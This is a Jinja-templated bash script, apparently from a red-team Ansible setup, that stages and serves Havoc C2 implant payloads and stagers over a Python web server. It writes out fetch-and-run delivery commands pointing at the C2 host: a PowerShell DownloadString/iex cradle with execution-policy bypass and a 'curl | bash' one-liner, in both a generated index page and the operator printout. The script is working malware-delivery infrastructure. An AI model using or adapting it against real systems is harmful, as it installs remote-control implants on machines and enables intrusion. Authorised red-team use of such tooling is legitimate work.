n0mad1k
135 lines
5.1 KiB
Django/Jinja
135 lines
5.1 KiB
Django/Jinja
#!/bin/bash
|
|
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
|
|
|
|
# Configuration
|
|
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
|
C2_HOST="{{ ansible_host }}"
|
|
# Use templated variable with fallback - allow override from config
|
|
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
|
|
|
|
# Check if manifest file exists (created by generate_havoc_payloads.sh)
|
|
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
|
|
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
|
|
# Extract payload paths from manifest
|
|
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
|
|
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
|
|
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
|
|
|
|
# Print payload info
|
|
echo "[+] Using these Havoc payloads:"
|
|
echo " - Windows EXE: $WIN_EXE"
|
|
echo " - Windows DLL: $WIN_DLL"
|
|
echo " - Linux Binary: $LINUX_BIN"
|
|
else
|
|
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
|
|
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
|
|
|
|
# Try to find payloads directly
|
|
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
|
|
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
|
|
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
|
|
|
|
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
|
|
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
|
|
exit 1
|
|
fi
|
|
|
|
# Extract just the filenames
|
|
WIN_EXE=$(basename "$WIN_EXE")
|
|
WIN_DLL=$(basename "$WIN_DLL")
|
|
LINUX_BIN=$(basename "$LINUX_BIN")
|
|
fi
|
|
|
|
# Create temporary directory for web server
|
|
TEMP_DIR=$(mktemp -d)
|
|
mkdir -p $TEMP_DIR/content/windows
|
|
mkdir -p $TEMP_DIR/content/linux
|
|
mkdir -p $TEMP_DIR/scripts
|
|
|
|
# Copy payloads to web directory
|
|
if [ -n "$WIN_EXE" ]; then
|
|
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
|
|
echo "[+] Serving Windows EXE: $WIN_EXE"
|
|
fi
|
|
|
|
if [ -n "$WIN_DLL" ]; then
|
|
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
|
echo "[+] Serving Windows DLL: $WIN_DLL"
|
|
fi
|
|
|
|
if [ -n "$LINUX_BIN" ]; then
|
|
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
|
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
|
fi
|
|
|
|
# Copy stagers if they exist
|
|
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
|
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
|
echo "[+] Serving Windows PowerShell stager"
|
|
fi
|
|
|
|
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
|
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
|
echo "[+] Serving Linux bash stager"
|
|
fi
|
|
|
|
# Create helpful index page
|
|
cat > $TEMP_DIR/index.html << EOL
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<title>Havoc C2 Payload Downloads</title>
|
|
<style>
|
|
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
|
h1 { color: #333; }
|
|
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
|
.warning { color: #a00; font-weight: bold; }
|
|
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<h1>Havoc C2 Payload Downloads</h1>
|
|
<div class="section">
|
|
<h2>Available Payloads</h2>
|
|
<ul>
|
|
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
|
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
|
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
|
</ul>
|
|
</div>
|
|
<div class="section">
|
|
<h2>Auto-Download Scripts</h2>
|
|
<ul>
|
|
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
|
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
|
</ul>
|
|
</div>
|
|
<div class="section">
|
|
<h2>Quick Commands</h2>
|
|
<p>Windows PowerShell:</p>
|
|
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
|
<p>Linux Bash:</p>
|
|
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
EOL
|
|
|
|
# Start Python HTTP server in background
|
|
cd $TEMP_DIR
|
|
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
|
SERVER_PID=$!
|
|
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
|
|
|
# Print useful information for the operator
|
|
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
|
echo "[+] Available payloads:"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
|
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
|
echo ""
|
|
echo "[+] Quick PowerShell download command:"
|
|
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
|
echo ""
|
|
echo "[+] Quick Linux download command:"
|
|
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash" |